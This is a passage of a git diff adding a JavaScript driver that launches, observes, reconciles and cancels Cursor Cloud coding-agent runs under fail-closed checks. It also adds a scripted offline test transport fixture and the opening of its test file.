identity.model) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('model_unattested')); + } + assertCommitSha(optOwn(receipt, 'starting_sha'), 'transport.preflight.result.starting_sha'); + assertCommitSha(optOwn(receipt, 'head_sha'), 'transport.preflight.result.head_sha'); + if (optOwn(receipt, 'head_sha') !== identity.starting_sha + || optOwn(receipt, 'starting_sha') !== identity.starting_sha) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('base_advanced')); + } + if (optOwn(receipt, 'workspace_clean') !== true) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('workspace_dirty')); + } + if (optOwn(receipt, 'starting_ref_commit') !== true) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('starting_ref_invalid')); + } + if (optOwn(receipt, 'starting_ref_visible') !== true) { + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('starting_ref_invisible')); + } + const repositoryIdentity = assertRepositoryIdentity( + optOwn(receipt, 'repository_identity'), 'transport.preflight.result.repository_identity', + ); + assertRepositoryUrl(optOwn(receipt, 'repository_url'), 'transport.preflight.result.repository_url'); + putLane(store, identity, { + state: 'ready', + model: identity.model, + repository_identity: repositoryIdentity, + repository_url: optOwn(receipt, 'repository_url'), + requested_model: requested, + effective_model: effective, + }); + return driverResult('preflight', identity, 'ready'); + } + if (ok !== false) { + fail('malformed_receipt', 'transport.preflight.result.ok', + 'transport.preflight.result.ok must be an exact boolean.'); + } + const blockedCode = hasOwn(receipt, 'detail_code') ? optOwn(receipt, 'detail_code') : 'preflight_blocked'; + if (typeof blockedCode !== 'string' || !capturedTest(DETAIL_CODE_PATTERN, blockedCode)) { + fail('invalid_format', 'transport.preflight.result.detail_code', + 'transport.preflight.result.detail_code violates the bounded detail-code grammar.'); + } + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', blockedPreflightDetail(blockedCode)); +} + +function runLaunch(store, request) { + const view = validateDriverLaunchRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + assertLaneIdentity(prior, identity, 'driver.launch.request'); + if (prior === undefined || (prior.state !== 'ready' && prior.state !== 'not_sent')) { + if (prior !== undefined && prior.created === true) { + fail('replay_denied', 'driver.launch.request', + 'A previous Cursor Cloud launch may have sent the prompt; the lane is never replayed or fallback-substituted.'); + } + fail('not_preflighted', 'driver.launch.request', + 'Launch requires a prior preflight:ready result for this exact Cursor Cloud child identity.'); + } + if (prior.state === 'blocked') { + fail('blocked_lane_denied', 'driver.launch.request', + 'A blocked Cursor Cloud preflight cannot launch; the lane fails closed with no fallback.'); + } + + const proposed = proposedAgentId(identity); + let createInvoked = false; + let agentId; + let repositoryIdentity = prior.repository_identity; + try { + const createRequest = transportIdentityRequest(identity, { + proposed_agent_id: proposed, + repository_url: prior.repository_url, + auto_create_pr: false, + }); + assertNoContentKeys(createRequest, 'cursor_cloud_transport.create.request'); + if (optOwn(createRequest, 'auto_create_pr') !== false) { + fail('merge_authority_denied', 'cursor_cloud_transport.create.request.auto_create_pr', + 'Cursor Cloud create must send auto_create_pr false; automatic PR creation is prohibited.'); + } + createInvoked = true; + const created = callTransport(store, 'create', createRequest); + assertClosedReceipt(created, CREATE_RECEIPT_KEYS, 'transport.create.result'); + if (optOwn(created, 'created') !== true) { + fail('malformed_receipt', 'transport.create.result.created', + 'transport.create.result.created must be exactly true.'); + } + assertReceiptIdentity(created, identity, 'transport.create.result'); + agentId = assertPatternedId( + optOwn(created, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.create.result.agent_id', 'agent_id', + ); + if (hasOwn(created, 'repository_identity')) { + repositoryIdentity = assertRepositoryIdentity( + optOwn(created, 'repository_identity'), 'transport.create.result.repository_identity', + ); + } + } catch (error) { + if (createInvoked || isPostIntentFailure(error)) { + return markUncertain(store, identity, { repository_identity: repositoryIdentity }); + } + putLane(store, identity, { state: 'not_sent', model: identity.model }); + return driverResult('launch', identity, 'not_sent', { + detail_code: typeof error?.code === 'string' && capturedTest(DETAIL_CODE_PATTERN, error.code) + ? error.code : 'transport_unavailable', + detail_message: boundedDiagnosticMessage('transport_unavailable', + 'Cursor Cloud create failed before intent; no prompt was dispatched.'), + }); + } + + putLane(store, identity, { + state: 'created', + model: identity.model, + agent_id: agentId, + repository_identity: repositoryIdentity, + created: true, + dispatch_intent: true, + }); + + const requestId = bindRequestId(identity, agentId); + try { + const sendRequest = detachFrozenJson({ + ...transportIdentityRequest(identity, { + agent_id: agentId, + request_id: requestId, + auto_create_pr: false, + }), + envelope_text: view.request.envelope_text, + }); + const ack = callTransport(store, 'send', sendRequest); + assertClosedReceipt(ack, SEND_RECEIPT_KEYS, 'transport.send.result'); + if (optOwn(ack, 'acknowledged') !== true) { + return markUncertain(store, identity, { + agent_id: agentId, request_id: requestId, repository_identity: repositoryIdentity, + }); + } + assertReceiptIdentity(ack, identity, 'transport.send.result'); + const ackAgent = assertPatternedId( + optOwn(ack, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.send.result.agent_id', 'agent_id', + ); + if (ackAgent !== agentId) { + fail('stale_identity_denied', 'transport.send.result.agent_id', + 'Send acknowledgement agent_id must match the created Cursor Cloud agent.'); + } + const ackRequestId = assertPatternedId( + optOwn(ack, 'request_id'), CURSOR_CLOUD_REQUEST_ID_PATTERN, 'transport.send.result.request_id', 'request_id', + ); + if (ackRequestId !== requestId) { + fail('stale_identity_denied', 'transport.send.result.request_id', + 'Send acknowledgement request_id must match the exact dispatch attempt.'); + } + const providerRunId = assertPatternedId( + optOwn(ack, 'provider_run_id'), CURSOR_CLOUD_RUN_ID_PATTERN, + 'transport.send.result.provider_run_id', 'provider_run_id', + ); + const branch = assertPatternedId( + optOwn(ack, 'branch'), CURSOR_CLOUD_BRANCH_PATTERN, 'transport.send.result.branch', 'branch', + ); + const ackRepo = hasOwn(ack, 'repository_identity') + ? assertRepositoryIdentity(optOwn(ack, 'repository_identity'), 'transport.send.result.repository_identity') + : repositoryIdentity; + putLane(store, identity, { + state: 'dispatched', + model: identity.model, + agent_id: ackAgent, + provider_run_id: providerRunId, + request_id: ackRequestId, + branch, + repository_identity: ackRepo, + created: true, + dispatch_intent: true, + acknowledged: true, + }); + return driverResult('launch', identity, 'dispatched'); + } catch (error) { + void error; + return markUncertain(store, identity, { + agent_id: agentId, request_id: requestId, repository_identity: repositoryIdentity, + }); + } +} + +function observeLane(store, identity, record, include) { + const extras = { include: [...include] }; + if (record.agent_id !== undefined) extras.agent_id = record.agent_id; + if (record.provider_run_id !== undefined) extras.provider_run_id = record.provider_run_id; + if (record.request_id !== undefined) extras.request_id = record.request_id; + const observeRequest = transportIdentityRequest(identity, extras); + assertNoContentKeys(observeRequest, 'cursor_cloud_transport.observe.request'); + const receipt = callTransport(store, 'observe', observeRequest); + assertClosedReceipt(receipt, OBSERVE_RECEIPT_KEYS, 'transport.observe.result'); + assertReceiptIdentity(receipt, identity, 'transport.observe.result'); + assertExactRunBinding(receipt, record, 'transport.observe.result'); + const status = optOwn(receipt, 'status'); + if (!capturedIncludes(CURSOR_CLOUD_OBSERVE_STATUSES, status)) { + fail('invalid_format', 'transport.observe.result.status', + `transport.observe.result.status must be one of ${capturedJoin(CURSOR_CLOUD_OBSERVE_STATUSES, ', ')}.`); + } + if (hasOwn(receipt, 'elapsed_ms')) { + const elapsed = optOwn(receipt, 'elapsed_ms'); + if (!Number.isSafeInteger(elapsed) || elapsed < 0 || elapsed > MAX_CURSOR_CLOUD_TIMING_MS) { + fail('invalid_format', 'transport.observe.result.elapsed_ms', + 'elapsed_ms must be a bounded millisecond timing.'); + } + } + if (hasOwn(receipt, 'event_count')) { + const count = optOwn(receipt, 'event_count'); + if (!Number.isSafeInteger(count) || count < 0 || count > MAX_CURSOR_CLOUD_EVENT_COUNT) { + fail('invalid_format', 'transport.observe.result.event_count', + 'event_count must be a bounded integer count.'); + } + } + if (hasOwn(receipt, 'cursor')) { + assertPatternedId(optOwn(receipt, 'cursor'), CURSOR_CLOUD_CURSOR_PATTERN, + 'transport.observe.result.cursor', 'event cursor'); + } + const git = projectGitEvidence(receipt, identity, 'transport.observe.result'); + const events = capturedIncludes(include, 'detailed_events') + ? projectEvents(optOwn(receipt, 'events'), 'transport.observe.result.events') + : capturedFreeze([]); + const progress = capturedIncludes(include, 'live_progress') + ? projectProgress(optOwn(receipt, 'progress'), 'transport.observe.result.progress') + : undefined; + const attention = projectAttention(optOwn(receipt, 'attention'), 'transport.observe.result.attention'); + if (capturedIncludes(TERMINAL_OBSERVE_STATUSES, status)) { + requireTerminalGitEvidence(git, identity, 'transport.observe.result'); + } + return capturedFreeze({ + receipt, + status, + git, + events, + progress, + attention, + agent_id: optOwn(receipt, 'agent_id'), + provider_run_id: optOwn(receipt, 'provider_run_id'), + request_id: optOwn(receipt, 'request_id'), + branch: hasOwn(receipt, 'branch') ? optOwn(receipt, 'branch') : record.branch, + }); +} + +function reconcileDisposition(status) { + if (status === 'needs_attention') return 'unresolved_attention'; + if (status === 'lost') return 'dispatch_uncertain'; + if (capturedIncludes(TERMINAL_OBSERVE_STATUSES, status)) return 'terminal'; + return 'in_progress'; +} + +function latchedTerminalResult(operation, identity, record) { + const extras = operation === 'reconcile' && record.terminal_detail + ? record.terminal_detail + : {}; + return driverResult(operation, identity, 'terminal', extras); +} + +function runReconcile(store, request) { + const view = validateDriverReconcileRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior === undefined || prior.created !== true) { + fail('not_dispatched', 'driver.reconcile.request', + 'Reconcile addresses an existing Cursor Cloud dispatch; this child has no launch observation.'); + } + assertLaneIdentity(prior, identity, 'driver.reconcile.request'); + const include = view.include ?? capturedFreeze([]); + const latched = hasTerminalLatch(prior); + + if (view.intent === 'restart_reattach' && !latched) { + if (prior.agent_id === undefined || prior.request_id === undefined) { + fail('stale_identity_denied', 'driver.reconcile.request.intent', + 'restart_reattach requires the exact recorded agent and request identity and never relaunches.'); + } + const reattachRequest = transportIdentityRequest(identity, { + agent_id: prior.agent_id, + provider_run_id: prior.provider_run_id, + request_id: prior.request_id, + }); + assertNoContentKeys(reattachRequest, 'cursor_cloud_transport.reattach.request'); + const reattached = callTransport(store, 'reattach', reattachRequest); + assertClosedReceipt(reattached, REATTACH_RECEIPT_KEYS, 'transport.reattach.result'); + if (optOwn(reattached, 'reattached') !== true) { + fail('stale_identity_denied', 'transport.reattach.result.reattached', + 'restart_reattach recovered no live Cursor Cloud run; the lane fails closed and is never relaunched.'); + } + assertReceiptIdentity(reattached, identity, 'transport.reattach.result'); + assertExactRunBinding(reattached, prior, 'transport.reattach.result'); + const agentId = assertPatternedId( + optOwn(reattached, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.reattach.result.agent_id', 'agent_id', + ); + putLane(store, identity, { ...prior, agent_id: agentId, reattached: true }); + } + + if (latched) { + putLane(store, identity, { + ...prior, + state: capturedIncludes(TERMINAL_LATCH_STATES, prior.state) ? prior.state : 'terminal', + terminal_latch: true, + }); + return latchedTerminalResult('reconcile', identity, prior); + } + + const observed = observeLane(store, identity, getLane(store, identity), include); + const current = getLane(store, identity); + const disposition = current.state === 'dispatch_uncertain' && observed.status === 'lost' + ? 'dispatch_uncertain' + : reconcileDisposition(observed.status); + const nextState = disposition === 'unresolved_attention' ? 'unresolved_attention' + : disposition === 'terminal' ? 'terminal' + : disposition === 'dispatch_uncertain' ? 'dispatch_uncertain' + : 'in_progress'; + const terminalDetail = nextState === 'terminal' + ? capturedFreeze({ + detail_code: 'terminal_evidence', + detail_message: boundedDiagnosticMessage('terminal_evidence', + `status=${observed.status} branch=${observed.git.branch} head=${observed.git.head_sha}`), + }) + : undefined; + const attentionDetail = nextState === 'unresolved_attention' + ? capturedFreeze({ + detail_code: 'unresolved_attention', + detail_message: boundedDiagnosticMessage('unresolved_attention', + 'same-session reply is unsupported; the question remains unresolved evidence'), + }) + : undefined; + putLane(store, identity, { + ...current, + state: nextState, + evidence: freezeData({ + schema: CURSOR_CLOUD_EVIDENCE_SCHEMA_ID, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + child_envelope_digest: identity.child_envelope_digest, + agent_id: observed.agent_id ?? current.agent_id ?? null, + provider_run_id: observed.provider_run_id ?? current.provider_run_id ?? null, + request_id: observed.request_id ?? current.request_id ?? null, + branch: observed.branch ?? current.branch ?? null, + git: observed.git, + events: observed.events, + progress: observed.progress ?? null, + attention: observed.attention ?? null, + status: observed.status, + evidence_truncated: false, + }), + last_status: observed.status, + agent_id: observed.agent_id ?? current.agent_id, + provider_run_id: observed.provider_run_id ?? current.provider_run_id, + request_id: observed.request_id ?? current.request_id, + branch: observed.branch ?? current.branch, + terminal_latch: nextState === 'terminal', + terminal_detail: terminalDetail, + }); + if (nextState === 'unresolved_attention') { + return driverResult('reconcile', identity, disposition, attentionDetail); + } + if (nextState === 'terminal') { + return driverResult('reconcile', identity, disposition, terminalDetail); + } + if (capturedIncludes(include, 'live_progress') && observed.progress !== undefined) { + return driverResult('reconcile', identity, disposition, { + detail_code: 'live_progress', + detail_message: boundedDiagnosticMessage('live_progress', + `status=${observed.status} events=${observed.progress.event_count ?? 0}`), + }); + } + return driverResult('reconcile', identity, disposition); +} + +function runCancel(store, request) { + const view = validateDriverCancelRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior === undefined || prior.created !== true) { + fail('not_dispatched', 'driver.cancel.request', + 'Cancel addresses an existing Cursor Cloud dispatch; this child has no launch observation.'); + } + assertLaneIdentity(prior, identity, 'driver.cancel.request'); + if (hasTerminalLatch(prior)) { + putLane(store, identity, { ...prior, state: 'already_terminal', terminal_latch: true }); + return driverResult('cancel', identity, 'already_terminal', { + detail_code: 'already_terminal', + detail_message: boundedDiagnosticMessage('already_terminal', 'outcome=already_terminal'), + }); + } + if (prior.agent_id === undefined) { + fail('stale_identity_denied', 'driver.cancel.request', + 'Cursor Cloud cancellation requires the exact recorded agent identity; refusing to cancel an arbitrary run.'); + } + const cancelRequest = transportIdentityRequest(identity, { + agent_id: prior.agent_id, + provider_run_id: prior.provider_run_id, + request_id: prior.request_id, + }); + assertNoContentKeys(cancelRequest, 'cursor_cloud_transport.cancel.request'); + const receipt = callTransport(store, 'cancel', cancelRequest); + assertClosedReceipt(receipt, CANCEL_RECEIPT_KEYS, 'transport.cancel.result'); + assertReceiptIdentity(receipt, identity, 'transport.cancel.result'); + assertExactRunBinding(receipt, prior, 'transport.cancel.result'); + const outcome = optOwn(receipt, 'outcome'); + if (!capturedIncludes(CURSOR_CLOUD_CANCEL_OUTCOMES, outcome)) { + fail('invalid_format', 'transport.cancel.result.outcome', + `transport.cancel.result.outcome must be one of ${capturedJoin(CURSOR_CLOUD_CANCEL_OUTCOMES, ', ')}.`); + } + const archived = optOwn(receipt, 'archived'); + if (archived !== true && archived !== false) { + fail('malformed_receipt', 'transport.cancel.result.archived', + 'transport.cancel.result.archived must be an exact boolean.'); + } + const archiveCode = archived === true ? 'archive_confirmed' : 'archive_failed'; + if (outcome === 'cancel_requested') { + putLane(store, identity, { + ...prior, + state: 'cancel_requested', + cancel_outcome: outcome, + archived, + terminal_latch: false, + }); + return driverResult('cancel', identity, 'cancel_requested', { + detail_code: 'cancel_requested', + detail_message: boundedDiagnosticMessage('cancel_requested', `outcome=cancel_requested archived=${archived}`), + }); + } + putLane(store, identity, { + ...prior, + state: outcome, + cancel_outcome: outcome, + archived, + terminal_latch: true, + }); + return driverResult('cancel', identity, outcome, { + detail_code: outcome === 'already_terminal' ? 'already_terminal' : archiveCode, + detail_message: boundedDiagnosticMessage(archiveCode, `outcome=${outcome} archived=${archived}`), + }); +} + +export function createCursorCloudDriverV1(transport) { + assertCursorCloudTransportV1(transport); + const handlers = capturedCreate(null); + for (const operation of CURSOR_CLOUD_TRANSPORT_OPERATIONS) { + const handler = capturedDescriptor(transport, operation)?.value; + capturedDefineProperty(handlers, operation, { + value: handler, + enumerable: true, + configurable: false, + writable: false, + }); + } + OBJECT_FREEZE(handlers); + const store = { + transport, + handlers, + lanes: new MAP_CTOR(), + }; + const driver = capturedCreate(null); + capturedDefineProperty(driver, 'preflight', { + value: (request) => runPreflight(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'launch', { + value: (request) => runLaunch(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'reconcile', { + value: (request) => runReconcile(store, request), + enumerable: true, configurable: false, writable: false, + }); + capturedDefineProperty(driver, 'cancel', { + value: (request) => runCancel(store, request), + enumerable: true, configurable: false, writable: false, + }); + OBJECT_FREEZE(driver); + DRIVER_STORES.set(driver, store); + assertProviderDriverV1(driver); + return driver; +} + +export function bindCursorCloudDriverV1(transport) { + const driver = createCursorCloudDriverV1(transport); + const bound = bindProviderDriverV1(driver, cursorCloudDriverDeclarationV1()); + DRIVER_STORES.set(bound, DRIVER_STORES.get(driver)); + return bound; +} + +export function inspectCursorCloudLaneEvidenceV1(driver, query) { + const path = 'cursor_cloud_evidence.query'; + if (query === undefined || query === null) { + fail('invalid_type', path, `${path} must be a plain evidence query object.`); + } + assertDirectJsonClosure(query, path); + assertPlainObject(query, 'invalid_type', path, path); + assertAllowedKeys(query, EVIDENCE_QUERY_KEYS, path); + for (const key of ['run_id', 'assignment_id', 'child_envelope_digest']) { + if (!hasOwn(query, key)) fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + const digest = assertDigest(optOwn(query, 'child_envelope_digest'), `${path}.child_envelope_digest`); + const store = storeFor(driver); + const record = store.lanes.get(laneKey(optOwn(query, 'run_id'), optOwn(query, 'assignment_id'))); + if (record === undefined || !digestsEqual(record.identity.child_envelope_digest, digest)) { + fail('stale_identity_denied', path, + 'No Cursor Cloud evidence is stored for this exact child identity.'); + } + if (record.evidence === undefined) { + return freezeData({ + schema: CURSOR_CLOUD_EVIDENCE_SCHEMA_ID, + run_id: record.identity.run_id, + assignment_id: record.identity.assignment_id, + child_envelope_digest: record.identity.child_envelope_digest, + agent_id: record.agent_id ?? null, + provider_run_id: record.provider_run_id ?? null, + request_id: record.request_id ?? null, + branch: record.branch ?? null, + git: null, + events: capturedFreeze([]), + progress: null, + attention: null, + status: record.last_status ?? null, + evidence_truncated: false, + }); + } + return record.evidence; +} + +export function describeCursorCloudDriverV1() { + const declaration = cursorCloudDriverDeclarationV1(); + return capturedFreeze({ + schema: CURSOR_CLOUD_DRIVER_SCHEMA_ID, + version: CURSOR_CLOUD_DRIVER_VERSION, + provider: CURSOR_CLOUD_PROVIDER_SLOT, + driver_operations: capturedFreeze([...DRIVER_OPERATIONS]), + transport_schema: CURSOR_CLOUD_TRANSPORT_SCHEMA_ID, + transport_operations: capturedFreeze([...CURSOR_CLOUD_TRANSPORT_OPERATIONS]), + capability: declaration.capability, + features: declaration.features, + workspace_semantics: 'remote_provider_managed', + workspace_starting_point: 'pinned_pushed_sha', + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'prohibited', + confirmation_rule: 'launch_dispatched_only_after_authoritative_sdk_run_identity', + post_intent_loss_rule: 'exception_timeout_or_loss_after_create_or_send_returns_dispatch_uncertain_never_replayed', + live_qualification: false, + durable_store: false, + supervisor_cutover: false, + claims: capturedFreeze({ + durable_run_store: false, + live_transport_qualification: false, + merge_or_pr_authority: false, + real_transport_configured: false, + replay_or_fallback: false, + same_session_reply: false, + supervisor_cutover: false, + }), + bounds: capturedFreeze({ + event_page: MAX_CURSOR_CLOUD_EVENT_PAGE, + event_bytes: MAX_CURSOR_CLOUD_EVENT_BYTES, + event_count: MAX_CURSOR_CLOUD_EVENT_COUNT, + timing_ms: MAX_CURSOR_CLOUD_TIMING_MS, + cursor_pattern: CURSOR_CLOUD_CURSOR_PATTERN.source, + }), + identities: capturedFreeze([ + 'provider', 'model', 'requested_model', 'effective_model', 'run_id', + 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', + 'starting_sha', 'repository_identity', 'agent_id', 'provider_run_id', + 'request_id', 'branch', + ]), + observe_statuses: capturedFreeze([...CURSOR_CLOUD_OBSERVE_STATUSES]), + cancel_outcomes: capturedFreeze([...CURSOR_CLOUD_CANCEL_OUTCOMES]), + detail_codes: capturedFreeze([...CURSOR_CLOUD_DETAIL_CODES]), + later_real_cursor_cloud_route: capturedFreeze({ + preflight: 'inspect clean local checkout, credential-free origin, and pinned pushed SHA without creating an agent', + create: 'Agent.create with autoCreatePR false and the exact repository/starting SHA', + send: 'agent.send with a stable request/idempotency id; treat as dispatched only after agent/run/request identity', + observe: 'getRun plus independently verifiable Git/branch/base evidence; never copy envelope bytes into diagnostics', + cancel: 'cancel the exact recorded run and report archive truthfully', + reattach: 'recover the exact recorded agent/run/request identity with no new prompt', + forbidden: capturedFreeze([ + 'cli_fallback_after_send', 'digest_only_launch', 'create_pr', 'merge_or_push', + 'post_intent_retry', 'provider_or_model_substitution', 'same_session_reply', + ]), + }), + feature_values: DRIVER_FEATURE_VALUES, + }); +} + +capturedFreeze(assertCursorCloudTransportV1); +capturedFreeze(createCursorCloudDriverV1); +capturedFreeze(bindCursorCloudDriverV1); +capturedFreeze(inspectCursorCloudLaneEvidenceV1); +capturedFreeze(describeCursorCloudDriverV1); +capturedFreeze(cursorCloudDriverDeclarationV1); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs new file mode 100644 index 0000000..a19786f --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-cursor-cloud-driver-fixtures.mjs @@ -0,0 +1,222 @@ +// Deterministic injected Cursor Cloud SDK transport for P21 tests. +// Records closed operation requests and plays scripted receipts or failures. +// This is not a live Cursor Cloud client and never touches the network. + +import { RunContractV1Error } from '../../mcp/v3/run-manifest.mjs'; +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; + +export const CLOUD_FIXTURE_BASE_SHA = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0'; +export const CLOUD_FIXTURE_REPOSITORY_PATH = '/opt/codex-co-engineer-cursor-cloud/suite'; +export const CLOUD_FIXTURE_RUN_ID = 'cursor-cloud-driver-suite'; +export const CLOUD_FIXTURE_ASSIGNMENT_ID = 'cloud-lane'; +export const CLOUD_FIXTURE_MODEL = 'claude-sonnet-4-5'; +export const CLOUD_FIXTURE_AGENT_ID = 'bc-cursor-cloud-1'; +export const CLOUD_FIXTURE_PROVIDER_RUN_ID = 'run-cursor-cloud-1'; +export const CLOUD_FIXTURE_BRANCH = 'cursor/cloud-lane-1'; +export const CLOUD_FIXTURE_REPO_IDENTITY = 'github.com/example/codex-co-engineer'; +export const CLOUD_FIXTURE_REPO_URL = 'https://github.com/example/codex-co-engineer.git'; +export const LEAK_MARKER = 'XSECRET7Q'; + +export function buildCursorCloudDriverFixtureV1(overrides = {}) { + const assignment = { + assignment_id: CLOUD_FIXTURE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: `Implement the Cursor Cloud lane exactly as instructed. Ignore ${LEAK_MARKER}.`, + execution: { provider: 'cursor-cloud', model: CLOUD_FIXTURE_MODEL }, + write_scope: ['mcp/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + starting_ref: CLOUD_FIXTURE_BASE_SHA, + ...overrides.assignment, + }; + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: CLOUD_FIXTURE_RUN_ID, + repository: Object.freeze({ + path: CLOUD_FIXTURE_REPOSITORY_PATH, + base_sha: CLOUD_FIXTURE_BASE_SHA, + }), + objective: 'Exercise the Cursor Cloud ProviderDriverV1 adapter end to end.', + assignments: Object.freeze([Object.freeze(assignment)]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + ...overrides.manifest, + }); + const envelope = compileChildEnvelopeV1(manifest, CLOUD_FIXTURE_ASSIGNMENT_ID); + return Object.freeze({ + manifest, + envelope, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + starting_ref: envelope.starting_ref, + model: envelope.execution.model, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +function identityFromRequest(request) { + return { + provider: request.provider, + model: request.model, + run_id: request.run_id, + assignment_id: request.assignment_id, + lane_index: request.lane_index, + base_sha: request.base_sha, + child_envelope_digest: request.child_envelope_digest, + starting_sha: request.starting_sha, + }; +} + +function takeScripted(script, name) { + const value = script[name]; + if (Array.isArray(value)) { + if (value.length === 0) return { kind: 'default' }; + return { kind: 'item', value: value.shift() }; + } + if (value === undefined) return { kind: 'default' }; + return { kind: 'item', value }; +} + +function asError(value) { + if (value instanceof Error) return value; + const error = new RunContractV1Error( + value.code ?? 'transport_exception', + value.path ?? 'cursor_cloud_transport', + value.message ?? 'Scripted Cursor Cloud transport failure.', + ); + if (value.created === true) error.created = true; + return error; +} + +const TRANSPORT_CALLS = new WeakMap(); + +export function cursorCloudCallsOf(transport, operation) { + const recorded = TRANSPORT_CALLS.get(transport); + if (recorded === undefined) return []; + return recorded[operation] ?? []; +} + +export function createScriptedCursorCloudTransportV1(script = {}) { + const calls = { + preflight: [], + create: [], + send: [], + observe: [], + cancel: [], + reattach: [], + }; + + function play(name, request, fallback) { + calls[name].push(request); + const taken = takeScripted(script, name); + if (taken.kind === 'item') { + if (typeof taken.value === 'function') return taken.value(request); + if (taken.value && taken.value.throw === true) throw asError(taken.value); + return taken.value; + } + return fallback(); + } + + const transport = { + preflight(request) { + return play('preflight', request, () => ({ + ok: true, + ...identityFromRequest(request), + requested_model: request.model, + effective_model: request.model, + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: request.starting_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + })); + }, + create(request) { + return play('create', request, () => ({ + created: true, + agent_id: request.proposed_agent_id ?? CLOUD_FIXTURE_AGENT_ID, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + })); + }, + send(request) { + return play('send', request, () => ({ + acknowledged: true, + agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + })); + }, + observe(request) { + return play('observe', request, () => ({ + agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + status: 'running', + head_sha: request.starting_sha, + merge_base_sha: request.starting_sha, + linear_history: true, + events: [{ kind: 'status', bytes: 12 }], + progress: { status: 'running', event_count: 1, elapsed_ms: 20, cursor: '1' }, + cursor: '1', + elapsed_ms: 20, + event_count: 1, + })); + }, + cancel(request) { + return play('cancel', request, () => ({ + outcome: 'cancel_confirmed', + archived: true, + agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + })); + }, + reattach(request) { + return play('reattach', request, () => ({ + reattached: true, + agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + })); + }, + }; + TRANSPORT_CALLS.set(transport, calls); + return transport; +} diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs new file mode 100644 index 0000000..ef33fad --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs @@ -0,0 +1,402 @@ +// Runtime tests for the P21 Cursor Cloud SDK ProviderDriverV1 adapter: +// injected transport sequences for preflight identity, create/send +// confirmation, dispatch uncertainty, and no automatic PR creation. +// This is not live Cursor Cloud qualification. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CURSOR_CLOUD_CAPABILITY_REVISION, + CURSOR_CLOUD_DETAIL_CODES, 